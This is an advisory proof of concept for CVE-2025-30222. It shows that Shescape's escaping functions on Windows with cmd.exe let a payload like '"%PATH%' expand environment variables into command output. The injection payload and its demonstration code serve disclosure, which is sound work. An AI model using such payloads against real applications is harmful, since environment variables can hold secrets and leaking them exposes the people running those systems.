CVE-2025-30222: Shescape has potential environment variable exposure on Windows with CMD

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const shescape = new Shescape({
shell: "cmd.exe",
// Or
shell: true, // Only if the default shell is CMD
});

// 2. Payload
const payload = '"%PATH%';

// 3. Usage
let escapedPayload;

escapedPayload = shescape.quote(payload);
// Or
escapedPayload = shescape.quoteAll([payload]);
// Or
escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variable